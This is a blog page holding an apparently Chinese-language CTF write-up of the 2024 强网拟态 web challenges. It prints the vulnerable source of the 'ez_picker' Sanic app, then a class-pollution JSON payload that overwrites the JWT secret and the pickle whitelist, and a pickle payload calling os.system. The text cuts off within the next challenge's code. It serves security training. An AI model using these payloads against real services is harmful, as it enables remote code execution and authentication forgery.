-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
1603 lines (1171 loc) · 233 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.4.2">
<link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
<link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
<link rel="mask-icon" href="/images/logo.svg" color="#222">
<link rel="stylesheet" href="/css/main.css">
<link rel="stylesheet" href="/xxx/font-awesome/css/font-awesome.min.css">
<script id="hexo-configurations">
var NexT = window.NexT || {};
var CONFIG = {"hostname":"example.com","root":"/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":true,"show_result":true,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.json"};
</script>
<meta property="og:type" content="website">
<meta property="og:title" content="lvzhouhang">
<meta property="og:url" content="http://example.com/index.html">
<meta property="og:site_name" content="lvzhouhang">
<meta property="og:locale" content="zh_CN">
<meta property="article:author" content="吕宙航">
<meta name="twitter:card" content="summary">
<link rel="canonical" href="http://example.com/">
<script id="page-configurations">
// https://hexo.io/docs/variables.html
CONFIG.page = {
sidebar: "",
isHome : true,
isPost : false,
lang : 'zh-CN'
};
</script>
<title>lvzhouhang</title>
<noscript>
<style>
.use-motion .brand,
.use-motion .menu-item,
.sidebar-inner,
.use-motion .post-block,
.use-motion .pagination,
.use-motion .comments,
.use-motion .post-header,
.use-motion .post-body,
.use-motion .collection-header { opacity: initial; }
.use-motion .site-title,
.use-motion .site-subtitle {
opacity: initial;
top: initial;
}
.use-motion .logo-line-before i { left: initial; }
.use-motion .logo-line-after i { right: initial; }
</style>
</noscript>
<!-- 页面点击小红心 -->
<script type="text/javascript" src="/js/clicklove.js"></script>
</head>
<body itemscope itemtype="http://schema.org/WebPage">
<div class="container use-motion">
<div class="headband"></div>
<header class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"><div class="site-brand-container">
<div class="site-nav-toggle">
<div class="toggle" aria-label="切换导航栏">
<span class="toggle-line toggle-line-first"></span>
<span class="toggle-line toggle-line-middle"></span>
<span class="toggle-line toggle-line-last"></span>
</div>
</div>
<div class="site-meta">
<a href="/" class="brand" rel="start">
<span class="logo-line-before"><i></i></span>
<h1 class="site-title">lvzhouhang</h1>
<span class="logo-line-after"><i></i></span>
</a>
</div>
<div class="site-nav-right">
<div class="toggle popup-trigger">
<i class="fa fa-search fa-fw fa-lg"></i>
</div>
</div>
</div>
<nav class="site-nav">
<ul id="menu" class="menu">
<li class="menu-item menu-item-home">
<a href="/" rel="section"><i class="fa fa-fw fa-home"></i>首页</a>
</li>
<li class="menu-item menu-item-tags">
<a href="/tags/" rel="section"><i class="fa fa-fw fa-tags"></i>标签</a>
</li>
<li class="menu-item menu-item-categories">
<a href="/categories/" rel="section"><i class="fa fa-fw fa-th"></i>分类</a>
</li>
<li class="menu-item menu-item-archives">
<a href="/archives/" rel="section"><i class="fa fa-fw fa-archive"></i>归档</a>
</li>
<li class="menu-item menu-item-search">
<a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
</a>
</li>
</ul>
</nav>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-icon">
<i class="fa fa-search"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocapitalize="off"
placeholder="搜索..." spellcheck="false"
type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa fa-times-circle"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</div>
</header>
<div class="back-to-top">
<i class="fa fa-arrow-up"></i>
<span>0%</span>
</div>
<main class="main">
<div class="main-inner">
<div class="content-wrap">
<div class="content index posts-expand">
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2024/10/21/2024%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E5%A4%8D%E7%9B%98/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="吕宙航">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="lvzhouhang">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2024/10/21/2024%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E5%A4%8D%E7%9B%98/" class="post-title-link" itemprop="url">2024强网拟态复盘</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2024-10-21 15:27:08" itemprop="dateCreated datePublished" datetime="2024-10-21T15:27:08+08:00">2024-10-21</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-check-o"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2024-10-22 14:16:51" itemprop="dateModified" datetime="2024-10-22T14:16:51+08:00">2024-10-22</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/ctf/" itemprop="url" rel="index"><span itemprop="name">ctf</span></a>
</span>
,
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/ctf/%E5%A4%8D%E7%9B%98/" itemprop="url" rel="index"><span itemprop="name">复盘</span></a>
</span>
</span>
<br>
<span class="post-meta-item" title="本文字数">
<span class="post-meta-item-icon">
<i class="fa fa-file-word-o"></i>
</span>
<span class="post-meta-item-text">本文字数:</span>
<span>20k</span>
</span>
<span class="post-meta-item" title="阅读时长">
<span class="post-meta-item-icon">
<i class="fa fa-clock-o"></i>
</span>
<span class="post-meta-item-text">阅读时长 ≈</span>
<span>18 分钟</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>web复盘一下吧只做出来了两道,所有题都有一点思路,但是只有一点点可惜可惜,太可惜了。</p>
<h1 id="capoo"><a href="#capoo" class="headerlink" title="capoo"></a>capoo</h1><p>这是个非预期,capoo.php可以任意文件读取,能读取到start.sh,start.sh中泄露了flag的名字,直接读取就行</p>
<h1 id="ez-picker"><a href="#ez-picker" class="headerlink" title="ez_picker"></a>ez_picker</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#源码</span></span><br><span class="line"><span class="keyword">from</span> sanic <span class="keyword">import</span> Sanic</span><br><span class="line"><span class="keyword">from</span> sanic.response <span class="keyword">import</span> json,file <span class="keyword">as</span> file_,text,redirect</span><br><span class="line"><span class="keyword">from</span> sanic_cors <span class="keyword">import</span> CORS</span><br><span class="line"><span class="keyword">from</span> key <span class="keyword">import</span> secret_key</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> pickle</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> jwt</span><br><span class="line"><span class="keyword">import</span> io</span><br><span class="line"><span class="keyword">import</span> builtins</span><br><span class="line">app = Sanic(<span class="string">"App"</span>)</span><br><span class="line">pickle_file = <span class="string">"data.pkl"</span></span><br><span class="line">my_object = {}</span><br><span class="line">users = []</span><br><span class="line"></span><br><span class="line">safe_modules = {</span><br><span class="line"> <span class="string">'math'</span>,</span><br><span class="line"> <span class="string">'datetime'</span>,</span><br><span class="line"> <span class="string">'json'</span>,</span><br><span class="line"> <span class="string">'collections'</span>,</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">safe_names = {</span><br><span class="line"> <span class="string">'sqrt'</span>, <span class="string">'pow'</span>, <span class="string">'sin'</span>, <span class="string">'cos'</span>, <span class="string">'tan'</span>,</span><br><span class="line"> <span class="string">'date'</span>, <span class="string">'datetime'</span>, <span class="string">'timedelta'</span>, <span class="string">'timezone'</span>, </span><br><span class="line"> <span class="string">'loads'</span>, <span class="string">'dumps'</span>, </span><br><span class="line"> <span class="string">'namedtuple'</span>, <span class="string">'deque'</span>, <span class="string">'Counter'</span>, <span class="string">'defaultdict'</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">RestrictedUnpickler</span>(pickle.Unpickler):</span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">find_class</span>(<span class="params">self, module, name</span>):</span><br><span class="line"> <span class="keyword">if</span> module <span class="keyword">in</span> safe_modules <span class="keyword">and</span> name <span class="keyword">in</span> safe_names:</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">getattr</span>(builtins, name)</span><br><span class="line"> <span class="keyword">raise</span> pickle.UnpicklingError(<span class="string">"global '%s.%s' is forbidden"</span> %(module, name))</span><br><span class="line"> </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">restricted_loads</span>(<span class="params">s</span>):</span><br><span class="line"> <span class="keyword">return</span> RestrictedUnpickler(io.BytesIO(s)).load()</span><br><span class="line"></span><br><span class="line">CORS(app, supports_credentials=<span class="literal">True</span>, origins=[<span class="string">"http://localhost:8000"</span>, <span class="string">"http://127.0.0.1:8000"</span>])</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">User</span>:</span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self,username,password</span>):</span><br><span class="line"> self.username=username</span><br><span class="line"> self.password=password</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">merge</span>(<span class="params">src, dst</span>):</span><br><span class="line"> <span class="keyword">for</span> k, v <span class="keyword">in</span> src.items():</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">hasattr</span>(dst, <span class="string">'__getitem__'</span>):</span><br><span class="line"> <span class="keyword">if</span> dst.get(k) <span class="keyword">and</span> <span class="built_in">type</span>(v) == <span class="built_in">dict</span>:</span><br><span class="line"> merge(v, dst.get(k))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> dst[k] = v</span><br><span class="line"> <span class="keyword">elif</span> <span class="built_in">hasattr</span>(dst, k) <span class="keyword">and</span> <span class="built_in">type</span>(v) == <span class="built_in">dict</span>:</span><br><span class="line"> merge(v, <span class="built_in">getattr</span>(dst, k))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">setattr</span>(dst, k, v)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">token_required</span>(<span class="params">func</span>):</span><br><span class="line"> <span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">wrapper</span>(<span class="params">request, *args, **kwargs</span>):</span><br><span class="line"> token = request.cookies.get(<span class="string">"token"</span>) </span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> token:</span><br><span class="line"> <span class="keyword">return</span> redirect(<span class="string">'/login'</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> result=jwt.decode(token, <span class="built_in">str</span>(secret_key), algorithms=[<span class="string">'HS256'</span>], options={<span class="string">"verify_signature"</span>: <span class="literal">True</span>})</span><br><span class="line"> <span class="keyword">except</span> jwt.ExpiredSignatureError:</span><br><span class="line"> <span class="keyword">return</span> json({<span class="string">"status"</span>: <span class="string">"fail"</span>, <span class="string">"message"</span>: <span class="string">"Token expired"</span>}, status=<span class="number">401</span>)</span><br><span class="line"> <span class="keyword">except</span> jwt.InvalidTokenError:</span><br><span class="line"> <span class="keyword">return</span> json({<span class="string">"status"</span>: <span class="string">"fail"</span>, <span class="string">"message"</span>: <span class="string">"Invalid token"</span>}, status=<span class="number">401</span>)</span><br><span class="line"> <span class="built_in">print</span>(result)</span><br><span class="line"> <span class="keyword">if</span> result[<span class="string">"role"</span>]!=<span class="string">"admin"</span>:</span><br><span class="line"> <span class="keyword">return</span> json({<span class="string">"status"</span>: <span class="string">"fail"</span>, <span class="string">"message"</span>: <span class="string">"Permission Denied"</span>}, status=<span class="number">401</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">await</span> func(request, *args, **kwargs)</span><br><span class="line"> <span class="keyword">return</span> wrapper</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span>, methods=[<span class="string">"GET"</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">file_reader</span>(<span class="params">request</span>):</span><br><span class="line"> file = <span class="string">"app.py"</span></span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(file, <span class="string">'r'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> content = f.read()</span><br><span class="line"> <span class="keyword">return</span> text(content)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/upload'</span>, methods=[<span class="string">"GET"</span>,<span class="string">"POST"</span>]</span>)</span></span><br><span class="line"><span class="meta">@token_required</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">upload</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="keyword">if</span> request.method==<span class="string">"GET"</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">await</span> file_(<span class="string">'templates/upload.html'</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> request.files:</span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"No file provided"</span>, status=<span class="number">400</span>)</span><br><span class="line"></span><br><span class="line"> file = request.files.get(<span class="string">'file'</span>)</span><br><span class="line"> file_object = file[<span class="number">0</span>] <span class="keyword">if</span> <span class="built_in">isinstance</span>(file, <span class="built_in">list</span>) <span class="keyword">else</span> file</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> new_data = restricted_loads(file_object.body)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> my_object.update(new_data)</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">return</span> json({<span class="string">"status"</span>: <span class="string">"success"</span>, <span class="string">"message"</span>: <span class="string">"Pickle object loaded but not updated"</span>})</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(pickle_file, <span class="string">"wb"</span>) <span class="keyword">as</span> f:</span><br><span class="line"> pickle.dump(my_object, f)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> json({<span class="string">"status"</span>: <span class="string">"success"</span>, <span class="string">"message"</span>: <span class="string">"Pickle object updated"</span>})</span><br><span class="line"> <span class="keyword">except</span> pickle.UnpicklingError:</span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"Dangerous pickle file"</span>, status=<span class="number">400</span>)</span><br><span class="line"> </span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/register'</span>, methods=[<span class="string">'GET'</span>,<span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">register</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="keyword">if</span> request.method==<span class="string">'GET'</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">await</span> file_(<span class="string">'templates/register.html'</span>)</span><br><span class="line"> <span class="keyword">if</span> request.json:</span><br><span class="line"> NewUser=User(<span class="string">"username"</span>,<span class="string">"password"</span>)</span><br><span class="line"> merge(request.json, NewUser)</span><br><span class="line"> users.append(NewUser)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> json({<span class="string">"status"</span>: <span class="string">"fail"</span>, <span class="string">"message"</span>: <span class="string">"Invalid request"</span>}, status=<span class="number">400</span>)</span><br><span class="line"> <span class="keyword">return</span> json({<span class="string">"status"</span>: <span class="string">"success"</span>, <span class="string">"message"</span>: <span class="string">"Register Success!"</span>,<span class="string">"redirect"</span>: <span class="string">"/login"</span>})</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/login'</span>, methods=[<span class="string">'GET'</span>,<span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="keyword">if</span> request.method==<span class="string">'GET'</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">await</span> file_(<span class="string">'templates/login.html'</span>)</span><br><span class="line"> <span class="keyword">if</span> request.json:</span><br><span class="line"> username = request.json.get(<span class="string">"username"</span>)</span><br><span class="line"> password = request.json.get(<span class="string">"password"</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> username <span class="keyword">or</span> <span class="keyword">not</span> password:</span><br><span class="line"> <span class="keyword">return</span> json({<span class="string">"status"</span>: <span class="string">"fail"</span>, <span class="string">"message"</span>: <span class="string">"Username or password missing"</span>}, status=<span class="number">400</span>)</span><br><span class="line"> user = <span class="built_in">next</span>((u <span class="keyword">for</span> u <span class="keyword">in</span> users <span class="keyword">if</span> u.username == username), <span class="literal">None</span>)</span><br><span class="line"> <span class="keyword">if</span> user:</span><br><span class="line"> <span class="keyword">if</span> user.password == password:</span><br><span class="line"> data={<span class="string">"user"</span>:username,<span class="string">"role"</span>:<span class="string">"guest"</span>}</span><br><span class="line"> data[<span class="string">'exp'</span>] = <span class="built_in">int</span>(time.time()) + <span class="number">60</span> *<span class="number">5</span></span><br><span class="line"> token = jwt.encode(data, <span class="built_in">str</span>(secret_key), algorithm=<span class="string">'HS256'</span>)</span><br><span class="line"> response = json({<span class="string">"status"</span>: <span class="string">"success"</span>, <span class="string">"redirect"</span>: <span class="string">"/upload"</span>})</span><br><span class="line"> response.cookies[<span class="string">"token"</span>]=token</span><br><span class="line"> response.headers[<span class="string">'Access-Control-Allow-Origin'</span>] = request.headers.get(<span class="string">'origin'</span>)</span><br><span class="line"> <span class="keyword">return</span> response</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> json({<span class="string">"status"</span>: <span class="string">"fail"</span>, <span class="string">"message"</span>: <span class="string">"Invalid password"</span>}, status=<span class="number">400</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> json({<span class="string">"status"</span>: <span class="string">"fail"</span>, <span class="string">"message"</span>: <span class="string">"User not found"</span>}, status=<span class="number">404</span>)</span><br><span class="line"> <span class="keyword">return</span> json({<span class="string">"status"</span>: <span class="string">"fail"</span>, <span class="string">"message"</span>: <span class="string">"Invalid request"</span>}, status=<span class="number">400</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> app.run(host=<span class="string">"0.0.0.0"</span>, port=<span class="number">8000</span>)</span><br></pre></td></tr></table></figure>
<p>考点就是原型链污染+pickle反序列化+jwt伪造,我当时感觉最难的是那个pickle反序列化,因为他是白名单虽然可以通过原型链污染进行修改但是这是由于对原理以及内建模块的不熟悉导致的,其实只需要把用到的模块和命令加入就行比如<code>builtins</code>、<code>getattr</code>、<code>popen</code>加入就好了</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#污染链</span></span><br><span class="line">{<span class="string">"__init__"</span>:{</span><br><span class="line"> <span class="string">"__globals__"</span>:{</span><br><span class="line"> <span class="string">"secret_key"</span>:<span class="string">"66666"</span>,</span><br><span class="line"> <span class="string">"safe_modules"</span>:[<span class="string">"os"</span>],</span><br><span class="line"> <span class="string">"safe_names"</span>:[<span class="string">"eval"</span>],</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#pickle链</span></span><br><span class="line"><span class="string">b'''(cos</span></span><br><span class="line"><span class="string">eval</span></span><br><span class="line"><span class="string">S'os.system(\"calc\")'</span></span><br><span class="line"><span class="string">o.'''</span></span><br></pre></td></tr></table></figure>
<h1 id="Spreader"><a href="#Spreader" class="headerlink" title="Spreader"></a>Spreader</h1><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"># app.<span class="property">js</span></span><br><span class="line"><span class="keyword">const</span> express = <span class="built_in">require</span>(<span class="string">'express'</span>);</span><br><span class="line"><span class="keyword">const</span> session = <span class="built_in">require</span>(<span class="string">'express-session'</span>);</span><br><span class="line"><span class="keyword">const</span> stringRandom = <span class="built_in">require</span>(<span class="string">'string-random'</span>);</span><br><span class="line"><span 